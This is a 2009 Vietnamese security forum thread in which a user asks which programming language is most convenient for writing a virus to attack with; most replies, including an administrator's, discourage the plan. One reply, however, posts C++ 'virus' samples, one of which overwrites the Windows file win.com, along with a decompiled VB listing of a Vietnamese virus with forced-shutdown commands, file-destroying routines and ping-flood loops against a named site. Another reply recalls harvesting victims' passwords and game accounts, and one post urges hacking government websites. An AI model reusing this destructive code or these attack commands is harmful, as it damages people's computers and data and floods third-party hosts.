Dùng ngôn ngữ nào để viết virus cho tiện lợi

English | Vietnamese

Rules

Main Forum

Portal

Member Listing

Statistics

Search

Reading Room
[Register]

Login [ | https ]

Forum Index

Thảo luận virus, trojan, spyware, worm...

Dùng ngôn ngữ nào để viết virus cho tiện lợi

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	22/08/2009 06:54:46 (+0700) \| #1 \| 190760

libach135
Member

Joined: 19/08/2009 01:07:45
Messages: 3
Offline

Mình muốn viết 1 chương trình virus nhưng không biết phải dùng ngôn ngữ nào để thuận tiện cho việc viết cũng như lúc tấn công.Mong mọi người chỉ giáo

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	22/08/2009 13:24:40 (+0700) \| #2 \| 190798

Jino_Hoang
Member

Joined: 09/04/2009 13:58:10
Messages: 239
Location: Mạng Internet
Offline

Gà thì dùng Pascal,VB,AutoIT
Pro thì dùng C++,C#,Java.
Cao cấp thì dùng Perl

Đã Trở Lại - Ăn Hại Hơn Trước

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	22/08/2009 15:30:51 (+0700) \| #3 \| 190808

conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline

Jino_Hoang wrote:

Gà thì dùng Pascal,VB,AutoIT
Pro thì dùng C++,C#,Java.
Cao cấp thì dùng Perl

Chậc.... viết virus cao cấp dùng... Perl? Hay là bồ lẫn lộn với cái gì rồi?

@ libach135: Khi viết virus mà còn nghĩ đến chữ "tiện" và còn hỏi là viết bằng ngôn ngữ gì thì nên bỏ ý định đi. Nên dành thời gian học hành và làm những chuyện ích lợi khác. Đừng phí thời gian cho những việc phá hoại bởi vì virus có quá nhiều rồi và đã có đủ thiệt hại rồi.

What bringing us together is stronger than what pulling us apart.

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	22/08/2009 15:41:10 (+0700) \| #4 \| 190811

lacazizi
Member

Joined: 03/03/2009 19:58:22
Messages: 87
Offline

Cao cấp thì dùng Perl

Perl là ngôn ngữ lập trình hack mạnh, chứ ai đi lập trình virus trên perl, cái này mình chưa bao giờ nghe.
AutoIT là ngôn ngữ dễ học nhất vì nó là ngôn ngữ bậc cao, thân thiên với window, vì vậy việc mọi người lợi dụng AutoIT để viết virus đang là vấn đề các hãng an ninh mạng đang sốt.
Các hãng an ninh mạng đang cố gắng ngăn chặn, hình như các virus viết trên AutoIT ngày càng tăng chứ ko thấy giảm bớt, nhiều hơn cả các tool đc viết trên AutoIT.
Nếu code virus để biết trình độ mình đến đâu thì còn đc, chứ việc phán tán thì ko nên.

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	22/08/2009 22:42:04 (+0700) \| #5 \| 190849

freeze_love
Member

Joined: 23/01/2009 23:07:19
Messages: 415
Location: HCMc
Offline

Nếu code virus để biết trình độ mình đến đâu thì còn đc, chứ việc phán tán thì ko nên.

Hoàn toàn nhất trí với lacazizi. !

do{
học đến điên;
}while (sống);

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	23/08/2009 07:51:59 (+0700) \| #6 \| 190877

dungcoi_vb
Member

Joined: 29/06/2006 17:17:06
Messages: 100
Offline

@libach135 :
"Tiện" thì dùng quách mây tool rồi cứ click vô mấy cái Option rồi bấm vào nút "Make virus"
Còn nếu thích Pro. Opcode mà chơi smilie

@lacazizi

Perl là ngôn ngữ lập trình hack mạnh

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	23/08/2009 13:50:25 (+0700) \| #7 \| 190899

bolzano_1989
Journalist

Joined: 30/01/2007 12:49:15
Messages: 1406
Offline

Perl được dùng bởi 1 số malware author để khởi tạo và điều khiển IRC bot hoặc tiến hành tấn công DDOS, thường thì Perl source file được đính kèm, lấy ra và kích hoạt bởi malware. Phần chính của malware đa số được viết bởi các ngôn ngữ khác.
Perl/Shellbot: http://vil.nai.com/vil/content/v_130620.htm

Kiểm tra các file bạn nghi ngờ có virus:
http://goo.gl/m3Fb6C
http://goo.gl/EqaZt
http://goo.gl/gEF8e
Nhận mẫu virus qua FB: http://goo.gl/70Xo23
HVA Malware Response Team: kiemtravirus@gmail.com
Trợ giúp diệt virus: http://goo.gl/2bqxY

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	23/08/2009 16:21:05 (+0700) \| #8 \| 190912

holiganvn
Member

Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline

có ngôn ngữ lập trình nào mà code virus "hay" và "tiện lợi" hơn ASM không nhỉ smilie

,nhưng mình nghĩ chỉ cần thông thạo 1 ngôn ngữ lập trình,ví dụ: Microsoft DOS batch cũng có thể code ra những chương trình virus nguy hiểm

http://en.wikipedia.org/wiki/Assembly_language

http://en.wikipedia.org/wiki/Batch_file

HaCk t0 LeArN,N0t LeArN t0 HaCk

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	27/08/2009 19:02:11 (+0700) \| #9 \| 191270

606vt175
Member

Joined: 01/06/2009 00:20:33
Messages: 8
Offline

cac bac noi cung hay do.nhung em thay viet vỉut de lam gi nhi?cac ban dinh chung to la pro thi hack cac trang webs chinh phu di heeeeeeeeeeeee no se tro thanh pro do. smilie

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	29/08/2009 14:16:18 (+0700) \| #10 \| 191440

luyendzung.vn
Member

Joined: 27/08/2009 04:07:20
Messages: 16
Offline

Người viết ra Vr chỉ là những kẻ tầm thương thôi. Ngon hơn thì viết chương (nhỏ thôi cũng được) bảo vệ máy khỏi bị nhiễm vr đi chú 2. smilie

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	29/08/2009 17:24:24 (+0700) \| #11 \| 191459

holiganvn
Member

Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline

This post is set hidden by a moderator because it may be violating forum's guideline or it needs modification before setting visible to members.

HaCk t0 LeArN,N0t LeArN t0 HaCk

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	29/08/2009 21:47:39 (+0700) \| #12 \| 191482

Nowhereman
Elite Member

Joined: 19/11/2003 06:25:42
Messages: 108
Offline

thôi các bồ nghe lời anh conmale đi, đừng quan tâm tới viết virus phá hoại nữa ! nếu đã là thực sự hiểu và thành thục một ngôn ngữ lập trình nào đó ( ASM,C,C++,C#,JAVA .v.v. ,scritping languages, Autoit < mì ăn liền cũng được ) . và hiểu về Mạng + Hệ diều hành = > thì người đó có thể viết ra những virut' phá hoại hoặc những chương trình Anti virus .

== >> vấn đề không phải là dùng ngôn ngữ nào cho tiện ! mà vấn đề là bạn đang bắt đầu suy nghĩ theo hướng SẤU hay TỐT ( BLACK or WHITE ) .

một vài ý kiến .

lang thang vẫn mãi không nhà
đôi chân lê bước thê lương tháng ngày
càng đi càng thấy đắm say
tình thương con Chúa lòng này chẳng phai
thời gian cứ mãi miệt mài
lang thang đi tiếp ....rồi bay lên z ời
cúi đầu con lạy Ông Trời
xin thươn

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	29/08/2009 22:29:58 (+0700) \| #13 \| 191489

CauTraiThatTinh
Member

Joined: 28/08/2009 02:52:03
Messages: 10
Offline

Viết virus thì đâu có khó, viết bằng C, C++, VB, AutoIT, Assembly, MS-DOS cũng được... nhưng người ta đâu có trả tiền cho người viết virus đâu, nếu bạn là coder mà thích tìm hiểu về virus thì bạn hãy nghiên cứu cách diệt, viết ra những tool nhỏ thôi để diệt chúng, mình nghĩ như vậy sẽ ý nghĩa hơn rất nhiều đó. Đây là 1 số ví dụ code về virus bạn tham khảo nhé, hoặc bạn qua bên virusvn.com mọi người trong đó thảo luận về vấn đề này...
------------------------- Example 1 ----------------------------------------
#include<iostream.h>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>

int main(void)
{
clrscr();
int handle;
char string[1000];
int length, res,i;

/*
Create a file named "DOVE.GIF" in the current directory and write
a string to it. If "DOVE.GIF" already exists, it will be overwritten.
*/

if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
S_IREAD | S_IWRITE)) == -1)
{
printf("Error opening file.");
exit(1);
}

strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
execution currupt your WINDOWS !!!!!!</html>" smilie

;

length = strlen(string);

if ((res = write(handle, string, length)) != length)
{
printf("Error writing to the file." smilie

;
getch();
exit(1);
}
printf("Wrote %d bytes to the file.", res);
cout<<"Hello !!!!!!!!";
cout<<"This is a VIRUS ATTACK !!!";
cout<<"This execution currupt your WINDOWS !!!!!!";
close(handle);
getch();
return 0;
}

-------------------------- Example 2 ---------------------------
#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<stdio.h>
#include<process.h>
#include<graphics.h>
#include<fstream.h>

void fool();
void main()
{
clrscr();
for(int i=0;i<=100;i++)
{

textcolor(YELLOW+BLINK);
gotoxy(35,12);
cprintf("VIRUS LOADING" smilie

;
gotoxy(39,15);
textcolor(GREEN);
cout<<i><<"%";
delay(75);
clrscr();
}
delay(100);
clrscr();
flushall();
gotoxy(20,12);
cout<<" 'AISHWARYA' VIRUS CREATED NOW BY SANDEEP";
gotoxy(20,14);
cout<<"SAY GOOD BYE TO YOUR PC IN ";
for(int j=10;j>=0;j--)
{
gotoxy(48,14);
cout<<j><<" SECONDS";
delay(1000);
}
clrscr();
cout<<"
1.HARD-DISK CORRUPTION: ";
delay(4000);
cout<<"completed";
cout<<"

2.MOTHER BOARD CORRUPTION: ";
delay(4000);
cout<<"completed";
cout<<"

3.INSTALLING CYBERBOB.DLL -->WINDOWS/COMMAND :";
delay(4000);
cout<<"completed";
cout<<"

PROCRAETORIAN.SYS SUCCESSFULLY PLANTED";
delay(3000);
cout<<"

VIRUS.EXE";
delay(2000);
cout<<"
*************************";
cout<<"
Buddy it's a simply joke ";
cout<<"
*************************";
delay(4000);
cout<<"

**********************************";
cout<<"
For Real Virus ";
cout<<"
Contact Me: Sandeep Udaipur ";
cout<<"
Mo: 010101010101 ";
cout<<"
Email: sandeep@yahoo.co.in ";
cout<<"
**********************************";
delay(10000);
}

void fool()
{
clrscr();
int g=DETECT,h;
initgraph(&g,&h,"c:\tc\bgi" smilie

;
cleardevice();
delay(1000);
setcolor(2);
settextstyle(1,0,1);
delay(1000);
setbkcolor(BLUE);
getch();
delay(4000);
closegraph();
exit(0);
}

--------------------------------- Example 3 -------------------------------------
//*****************************************************//
//virus program mimmic -created by Sohan Alva class XII//
//*****************************************************//

#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<stdio.h>
#include<process.h>
#include<graphics.h>
#include<fstream.h>

void ffool(); //FUNCTION WHICH GIVES THE FINAL MESSAGE

void main()
{
clrscr();
for(int i=0;i<=100;i++)
{

textcolor(YELLOW+BLINK);
gotoxy(35,12);
cprintf("VIRUS LOADING" smilie

;
gotoxy(39,15);
textcolor(GREEN);
cout<<i><<"%";
delay(75);
clrscr();
}
delay(100);
clrscr();
fflush(stdout);
gotoxy(20,12);
cout<<" 'TOURNIQUET' VIRUS CREATED BY PROCRAETORIAN";
gotoxy(20,14);
cout<<" SAY GOOD BYE TO YOUR PC IN ";
for(int j=5;j>=0;j--)
{
gotoxy(48,14);
cout<<j><<" SECONDS";
delay(1000);
}
ofstream f1;
f1.open("c:/windows/All Users/desktop/procraetorian.sys" smilie

;
ofstream f3("c:/windows/All Users/desktop/blast.sys" smilie

;
ofstream a2("c:/windows/All Users/desktop/mslaugh.exe" smilie

;
ofstream s2("c:/windows/All Users/desktop/backdoor.sys" smilie

;
ofstream g2("c:/windows/All Users/desktop/spin32_war.sys" smilie

;
ofstream h2("c:/windows/All Users/desktop/russpatr.sys" smilie

;
ofstream j2("c:/windows/All Users/desktop/torr_sys32.sys" smilie

;
ofstream k2("c:/windows/All Users/desktop/xxx.sys" smilie

;
ofstream l2("c:/windows/All Users/desktop/i.txt" smilie

;
ofstream sm("c:/windows/All Users/desktop/am.txt" smilie

;
ofstream d1("c:/windows/All Users/desktop/your.txt" smilie

;
ofstream d2("c:/windows/All Users/desktop/worst.txt" smilie

;
ofstream d3("c:/windows/All Users/desktop/night.txt" smilie

;
ofstream d4("c:/windows/All Users/desktop/mare.txt" smilie

;
clrscr();
lowvideo();
cout<<"

1.HARD-DISK CORRUPTION
:";
delay(4000);
cout<<"completed";
cout<<"

2.MOTHER BOARD CORRUPTION
:";
delay(4000);
cout<<"completed";
cout<<"

3.INSTALLING CYBERBOB.DLL -->WINDOWS/COMMAND
:";
delay(4000);
cout<<"completed";
cout<<"

PROCRAETORIAN.SYS SUCCESSFULLY PLANTED";
delay(3000);
rename("VIRUS.EXE","C:WINDOWSStart MenuProgramsStartUpVIRUS.EXE" smilie

;
//ffool();
}
//*END OF MAIN*//
//*START OF ffool()*//
void ffool()
{
clrscr();
int g=DETECT,h;
initgraph(&g,&h,"\tc\bgi\" smilie

;
cleardevice();
delay(1000);
setcolor(2);
settextstyle(1,0,1);
delay(1000);
setbkcolor(BLUE);
highvideo();
outtextxy(50,150,"THE PROCRAETORIAN:" smilie

;
delay(1500);
outtextxy(50,200,"YOUR PC IS NOW UNDER SURVEILANCE BY THE VIRUS
HOST" smilie

;
outtextxy(50,250,"PEA(C)E BE WITH YOU ! ! !" smilie

;
getch();
delay(4000);
closegraph();
exit(0);
}

//*END OF ffool()*//
-----------------------------------------------------
3 ví dụ trên viết bằng C++

Còn đây là code 1 con đình đám 1 thời viết bằng VB. Virus Love

Object: F
Private Sub M_Timer() Address: 40EDD0
Private Sub W_Timer() Address: 40EF90
Private Sub Y_Timer() Address: 40FCA0
Private Sub S_Timer() Address: 40EEB0
Private Sub Form_Load() Address: 40E3A0
Public Function PathCover(Path) Address: 407870
Public Function RndName() Address: 407980
Public Sub ScanSys() Address: 407C10
Public Sub ScanDir(Path) Address: 407FC0
Public Sub ScanA() Address: 408280
Public Function FindUSB() Address: 408650
Public Sub MakeTmp() Address: 408D20
Public Sub LoadTmp() Address: 408D90
Public Sub SaveTmp() Address: 408F40
Public Sub LockFile(FileName) Address: 409140
Public Sub UnLockFile(FileName) Address: 409360
Public Function EnCode(StringValue) Address: 409520
Public Sub Destroy() Address: 4097E0
Public Sub BitToy() Address: 40B270
Public Sub DelayAV() Address: 40B920
Public Sub CheckMe() Address: 40BBF0
Public Function SafeMe(AntiPro) Address: 40BE50
Public Sub AutoSafe() Address: 40BFB0
Public Sub SysCopy() Address: 40C470
Public Sub InsertChar(Code) Address: 40CF30
Public Sub YSent() Address: 40D180
Public Function YCheck(KeyRead, MyVoice) Address: 40E100
***********************************************
loc_0040B295: var_08 = &H401320
loc_0040B2A7: call eax+04h(arg_08, edi, esi, ebx, fs:[00h], MSVBVM60.DLL.__vbaExceptHandler, ebp)
loc_0040B2E0: var_38 = 80020004h
loc_0040B2EA: Randomize(10)
loc_0040B2F3: call MSVBVM60.DLL.__vbaFreeVar
loc_0040B2FC: var_38 = 80020004h
loc_0040B300: var_40 = 10
loc_0040B307: var_40 = Rnd(%x2)
loc_0040B30D: fstp real4 ptr var_000000C4
loc_0040B313: fld real4 ptr var_000000C4
loc_0040B319: fmul real4 ptr [0040131Ch] ;
loc_0040B32A: fstp real4 ptr var_48
loc_0040B32D: fstsw ax
loc_0040B331: If MSVBVM60.DLL.__vbaFreeVar = 0 Then
loc_0040B346: call MSVBVM60.DLL.__vbaUI1Var(Round(4, esi))
loc_0040B36B: If var_60 = 0 Then
loc_0040B370: call eax+00000300h(arg_08)
loc_0040B37B: var_30 = IsSet(eax+00000300h(arg_0 smilie

loc_0040B38B: call edx+64h(eax+00000300h(arg_08), 00002710h)
loc_0040B392: If edx+64h(eax+00000300h(arg_08), 00002710h) < esi Then
loc_0040B39D: call MSVBVM60.DLL.__vbaHresultCheckObj(edx+64h(eax+0000 0300h(arg_08), 00002710h), eax+00000300h(arg_08), 00405C88h, 00000064h)
loc_0040B3A3: End If
loc_0040B3A6: call MSVBVM60.DLL.__vbaFreeObj
loc_0040B3AC: End If
loc_0040B3B0: If byte ptr var_1C = 01h Then
loc_0040B3B5: call MSVBVM60.DLL.__vbaStrI2(esi, esi, esi)
loc_0040B3C6: call MSVBVM60.DLL.__vbaStrMove
loc_0040B3CD: call MSVBVM60.DLL.__vbaStrToAnsi("", MSVBVM60.DLL.__vbaStrMove)
loc_0040B3DD: call MSVBVM60.DLL.__vbaStrToAnsi("", "set cdaudio door open", MSVBVM60.DLL.__vbaStrToAnsi("", MSVBVM60.DLL.__vbaStrMove))
loc_0040B3E4: Proc_004058C8(MSVBVM60.DLL.__vbaStrToAnsi("", "set cdaudio door open", MSVBVM60.DLL.__vbaStrToAnsi("", MSVBVM60.DLL.__vbaStrMove)), MSVBVM60.DLL.__vbaStrI2(esi, esi, esi), "" smilie

loc_0040B3E9: call MSVBVM60.DLL.__vbaSetSystemError(MSVBVM60.DLL.__vb aStrToAnsi("", "set cdaudio door open", MSVBVM60.DLL.__vbaStrToAnsi("", MSVBVM60.DLL.__vbaStrMove)))
loc_0040B406: GoTo loc_40B40E
loc_0040B408: End If
loc_0040B40E: 'Referenced from 0040B406
loc_0040B412: If byte ptr var_1C = 02h Then
loc_0040B431: var_68 = 80020004h
loc_0040B434: var_58 = 80020004h
loc_0040B437: var_00000098 = "Hi world !"
loc_0040B441: var_000000A0 = 8
loc_0040B45A: var_00000088 = "Hello my name is HoaiTranMGF by Bit.Kill3r"
loc_0040B464: var_00000090 = 8
loc_0040B489: MsgBox("Hello my name is HoaiTranMGF by Bit.Kill3r", 00001000h, "Hi world !", 10, 10)
loc_0040B4AA: End If
loc_0040B4AE: If byte ptr var_1C = 03h Then
loc_0040B4B9: var_00000088 = "shutdown -f"
loc_0040B4C3: var_00000090 = 8
loc_0040B4CD: var_40 = "shutdown -f"
loc_0040B4D8: var_40 = Shell(esi, %x3)
loc_0040B4E1: fstp st(0)
loc_0040B4E3: call MSVBVM60.DLL.__vbaFreeVar
loc_0040B4E9: End If
loc_0040B4ED: If byte ptr var_1C = 04h Then
loc_0040B4FF: var_40 = Chr(00000022h)
loc_0040B507: var_70 = Chr(00000022h)
loc_0040B51A: var_00000090 = 8
loc_0040B520: var_000000A0 = 8
loc_0040B530: var_00000088 = "shutdown -s -t 10 -c"
loc_0040B53A: var_00000098 = "Hello ! my name is HoaiTrangMGF by Bit.Kill3r"
loc_0040B544: call MSVBVM60.DLL.__vbaVarCat("", var_40, var_00000090, esi)
loc_0040B552: call MSVBVM60.DLL.__vbaVarCat("", var_000000A0, MSVBVM60.DLL.__vbaVarCat("", var_40, var_00000090, esi))
loc_0040B55D: call MSVBVM60.DLL.__vbaVarCat("", var_70, MSVBVM60.DLL.__vbaVarCat("", var_000000A0, MSVBVM60.DLL.__vbaVarCat("", var_40, var_00000090, esi)))
loc_0040B560: MSVBVM60.DLL.__vbaVarCat("", var_70, MSVBVM60.DLL.__vbaVarCat("", var_000000A0, MSVBVM60.DLL.__vbaVarCat("", var_40, var_00000090, esi))) = Shell(%x2, %x3)
loc_0040B57C: fstp st(0)
loc_0040B58A: End If
loc_0040B58E: If byte ptr "" >= 05h Then
loc_0040B593: call ecx+00000728h(arg_08)
loc_0040B59B: If ecx+00000728h(arg_08) < esi Then
loc_0040B5A9: call MSVBVM60.DLL.__vbaHresultCheckObj(ecx+00000728h(ar g_08), arg_08, 00405544h, 00000728h)
loc_0040B5AF: End If
loc_0040B5AF: End If
loc_0040B5BE: call &(":home", "" smilie

loc_0040B5C5: call MSVBVM60.DLL.__vbaStrMove
loc_0040B5CD: call &("13#1", MSVBVM60.DLL.__vbaStrMove)
loc_0040B5D4: call MSVBVM60.DLL.__vbaStrMove
loc_0040B5D9: call MSVBVM60.DLL.__vbaFreeStr
loc_0040B5EA: call MSVBVM60.DLL.__vbaUI1I2
loc_0040B5F4: call MSVBVM60.DLL.__vbaUI1I2
loc_0040B600: If MSVBVM60.DLL.__vbaUI1I2 <= MSVBVM60.DLL.__vbaUI1I2 Then
loc_0040B60B: call &("ping", "" smilie

loc_0040B612: call MSVBVM60.DLL.__vbaStrMove
loc_0040B61A: call &("musicdanang.tv", MSVBVM60.DLL.__vbaStrMove)
loc_0040B621: call MSVBVM60.DLL.__vbaStrMove
loc_0040B629: call &("-n 1 -l 65500", MSVBVM60.DLL.__vbaStrMove)
loc_0040B630: call MSVBVM60.DLL.__vbaStrMove
loc_0040B638: call &("13#1", MSVBVM60.DLL.__vbaStrMove)
loc_0040B63F: call MSVBVM60.DLL.__vbaStrMove
loc_0040B65A: al = al + bl
loc_0040B65C: If Not Asm.b_flag Then
loc_0040B662: GoTo loc_40B5F6
loc_0040B664: End If
loc_0040B66D: call &("ping", "" smilie

loc_0040B674: call MSVBVM60.DLL.__vbaStrMove
loc_0040B67C: call &("musicdanang.tv", MSVBVM60.DLL.__vbaStrMove)
loc_0040B683: call MSVBVM60.DLL.__vbaStrMove
loc_0040B68B: call &("-n 2 -l 65500", MSVBVM60.DLL.__vbaStrMove)
loc_0040B692: call MSVBVM60.DLL.__vbaStrMove
loc_0040B69A: call &("13#1", MSVBVM60.DLL.__vbaStrMove)
loc_0040B6A1: call MSVBVM60.DLL.__vbaStrMove
loc_0040B6C3: call &("goto home", "" smilie

loc_0040B6CA: call MSVBVM60.DLL.__vbaStrMove
loc_0040B6D3: If 411340h = 0 Then
loc_0040B6DF: CreateObject(00405AA8h, 00411340h)
loc_0040B6E5: End If
loc_0040B6F2: call eax+14h(00411340h, var_30)
loc_0040B6F9: If eax+14h(00411340h, var_30) < 0 Then
loc_0040B704: call MSVBVM60.DLL.__vbaHresultCheckObj(eax+14h(00411340 h, var_30), 00411340h, 00405E80h, 00000014h)
loc_0040B70A: End If
loc_0040B716: call edx+50h(var_30, "" smilie

loc_0040B71D: If edx+50h(var_30, "" smilie

< 0 Then
loc_0040B728: call MSVBVM60.DLL.__vbaHresultCheckObj(edx+50h(var_30, "" smilie

, var_30, 00405AB8h, 00000050h)
loc_0040B72E: End If
loc_0040B734: var_20 = 0
loc_0040B73B: call MSVBVM60.DLL.__vbaStrMove
loc_0040B74B: call edx+000006F8h(arg_08, "", "" smilie

loc_0040B753: If edx+000006F8h(arg_08, "", "" smilie

< 0 Then
loc_0040B761: call MSVBVM60.DLL.__vbaHresultCheckObj(edx+000006F8h(ar g_08, "", "" smilie

, arg_08, 00405544h, 000006F8h)
loc_0040B767: End If
loc_0040B770: call &("POD.bat", "" smilie

loc_0040B777: call MSVBVM60.DLL.__vbaStrMove
loc_0040B780: call Open #(00000020h, FFFFFFFFh, 00000001h, MSVBVM60.DLL.__vbaStrMove)
loc_0040B7A0: call MSVBVM60.DLL.__vbaFreeObj
loc_0040B7AE: call Put #(00000000h, "", 00000001h)
loc_0040B7B6: Close 00000001h
loc_0040B7C3: If 411340h = 0 Then
loc_0040B7CF: CreateObject(00405AA8h, 00411340h)
loc_0040B7D5: End If
loc_0040B7E2: call ecx+14h(00411340h, var_30)
loc_0040B7E9: If ecx+14h(00411340h, var_30) < 0 Then
loc_0040B7F4: call MSVBVM60.DLL.__vbaHresultCheckObj(ecx+14h(00411340 h, var_30), 00411340h, 00405E80h, 00000014h)
loc_0040B7FA: End If
loc_0040B806: call ecx+50h(var_30, var_20)
loc_0040B80D: If ecx+50h(var_30, var_20) < 0 Then
loc_0040B818: call MSVBVM60.DLL.__vbaHresultCheckObj(ecx+50h(var_30, var_20), var_30, 00405AB8h, 00000050h)
loc_0040B81E: End If
loc_0040B824: var_20 = 0
loc_0040B82B: call MSVBVM60.DLL.__vbaStrMove
loc_0040B83B: call eax+000006F8h(arg_08, "", "" smilie

loc_0040B843: If eax+000006F8h(arg_08, "", "" smilie

< 0 Then
loc_0040B851: call MSVBVM60.DLL.__vbaHresultCheckObj(eax+000006F8h(ar g_08, "", "" smilie

, arg_08, 00405544h, 000006F8h)
loc_0040B857: End If
loc_0040B860: call &("POD.bat", "" smilie

loc_0040B86B: var_40 = 8
loc_0040B872: var_40 = Shell(00000000h, %x3)
loc_0040B882: fstp st(0)
loc_0040B890: call MSVBVM60.DLL.__vbaFreeObj
loc_0040B899: call MSVBVM60.DLL.__vbaFreeVar
loc_0040B8A5: GoTo loc_40B8EB
loc_0040B8C5: call MSVBVM60.DLL.__vbaFreeObj(0040B8F5h)
loc_0040B8EA: ret
loc_0040B8EB: 'Referenced from 0040B8A5
loc_0040B8EE: call MSVBVM60.DLL.__vbaFreeStr
loc_0040B8F4: ret
loc_0040B8FB: call ecx+08h(arg_08)
loc_0040B911: retn 0004h
loc_0040B914: End If
loc_0040B914: GoTo loc_MSVBVM60.DLL.__vbaFPException
loc_0040B919: End If
loc_0040B919: call MSVBVM60.DLL.__vbaErrorOverflow
End Sub
************************************************** ***
Public Sub LockFile(FileName) '409140
loc_00409162: var_08 = &H401250
loc_00409174: call ecx+04h(arg_08, edi, esi, ebx, fs:[00h], MSVBVM60.DLL.__vbaExceptHandler, ebp)
loc_00409199: call Open #(00000020h, FFFFFFFFh, 00000001h, edx)
loc_004091A4: "This File Was Destroy By HoaiTrang MGF [Bit.Kill3r] = Len(%x2)
loc_004091AC: call MSVBVM60.DLL.__vbaI2I4
loc_004091C8: If 00000001h <= var_64 Then
loc_004091D0: call MSVBVM60.DLL.__vbaGet3(00000001h, var_20, 00000001h)
loc_004091DC: and eax, 000000FFh
loc_004091E6: var_50 = ""
loc_004091E9: var_58 = 8
loc_004091F0: var_38 = Chr(var_20)
loc_00409202: call MSVBVM60.DLL.__vbaVarCat("", var_38, var_58)
loc_00409209: call MSVBVM60.DLL.__vbaStrVarMove(MSVBVM60.DLL.__vbaVar Cat("", var_38, var_5 smilie

loc_00409214: call MSVBVM60.DLL.__vbaStrMove
loc_0040922C: cx = cx + si
loc_0040922F: If Err.Number <> 0 Then GoTo loc_0040934F
loc_00409237: GoTo loc_4091C2
loc_00409239: End If
loc_0040923F: Close %x1
loc_0040924D: call Open #(00000020h, FFFFFFFFh, 00000001h, edx)
loc_0040925B: call MSVBVM60.DLL.__vbaStrCopy
loc_00409269: call Put #(00000000h, "", 00000001h)
loc_00409278: call MSVBVM60.DLL.__vbaFreeStr
loc_0040927C: Close 00000001h
loc_00409289: call &(".lock", edx)
loc_00409294: call MSVBVM60.DLL.__vbaStrMove
loc_0040929D: call Open #(00000020h, FFFFFFFFh, 00000001h, MSVBVM60.DLL.__vbaStrMove)
loc_004092A6: call MSVBVM60.DLL.__vbaFreeStr
loc_004092B6: call ecx+00000724h(arg_08, "", "" smilie

loc_004092BE: If ecx+00000724h(arg_08, "", "" smilie

< 0 Then
loc_004092CF: call MSVBVM60.DLL.__vbaHresultCheckObj(ecx+00000724h(ar g_08, "", "" smilie

, arg_08, 00405544h, 00000724h)
loc_004092D5: End If
loc_004092DB: var_24 = 0
loc_004092E2: call MSVBVM60.DLL.__vbaStrMove
loc_004092EC: call Put #(00000000h, "", 00000001h)
loc_004092F5: call MSVBVM60.DLL.__vbaFreeStr
loc_004092F9: Close 00000001h
loc_00409300: GoTo loc_409326
loc_00409325: ret
loc_00409326: 'Referenced from 00409300
loc_00409329: call MSVBVM60.DLL.__vbaFreeStr(00409330h)
loc_0040932F: ret
loc_00409336: call ecx+08h(arg_08)
loc_0040934C: retn 0008h
loc_0040934F: 'Referenced from 040922F
loc_0040934F: call MSVBVM60.DLL.__vbaErrorOverflow
End Sub

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	30/08/2009 00:45:07 (+0700) \| #14 \| 191501

LouisKhoai
Member

Joined: 11/07/2009 14:01:14
Messages: 8
Offline

luyendzung.vn wrote:

Người viết ra Vr chỉ là những kẻ tầm thương thôi. Ngon hơn thì viết chương (nhỏ thôi cũng được) bảo vệ máy khỏi bị nhiễm vr đi chú 2.

xem lại đi nhé
Virus cũng có nhìu loại, khả năng phá hoại cũng khác nhau quan trọng là do coder. Nếu người viết virus tầm thường vậy cầm gì "chuyên gia" giải mã--->diệt.

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	30/08/2009 09:18:31 (+0700) \| #15 \| 191524

CauTraiThatTinh
Member

Joined: 28/08/2009 02:52:03
Messages: 10
Offline

Bạn LuisKhoai nói rất đúng nhưng bạn thử nghĩ mà xem, không vận dụng kiến thức lập trình của mình vào việc tốt, có ích cho cộng đồng, mà lại dùng vào mục đích xấu thì thật là đáng tiếc vì ta mất thời gian, mình biết cái cảm giác vui sướng, tự cao khi mấy cậu bạn, cô bạn bưng máy tính đến nhờ mình sửa vì dính chính chú virus mình viết ra. Check mail thấy username + password của 1 victim nào đó, xin được acc game của mấy cu cậu ngoài hàng net. Không có ai là người tầm thường cả, viết virus tầm thường hay không tầm thường đúng là do người coder, có điều cái suy nghĩ của người viết virus không tầm thường lại rất tầm thường.

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	31/08/2009 21:11:01 (+0700) \| #16 \| 191649

art88
Member

Joined: 30/08/2009 08:31:56
Messages: 1
Offline

Tìm hiểu về các nguyên lý hoạt động của vr quá khó không các bác? Điều kiện tiên quyết là gì vậy?
Theo em, viết vr phá hoại ko nên chút nào. Nhưng viết vr với mục đích học tập thì thú vị thật, vấn đề là
thật khó tiếp cận lĩnh vực này. Mong các bác chỉ giúp

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	01/09/2009 09:24:35 (+0700) \| #17 \| 191671

holiganvn
Member

Joined: 08/05/2009 19:29:45
Messages: 370
Location: Cố Đô Huế
Offline

art88 wrote:

Tìm hiểu về các nguyên lý hoạt động của vr quá khó không các bác? Điều kiện tiên quyết là gì vậy?
Theo em, viết vr phá hoại ko nên chút nào. Nhưng viết vr với mục đích học tập thì thú vị thật, vấn đề là
thật khó tiếp cận lĩnh vực này. Mong các bác chỉ giúp

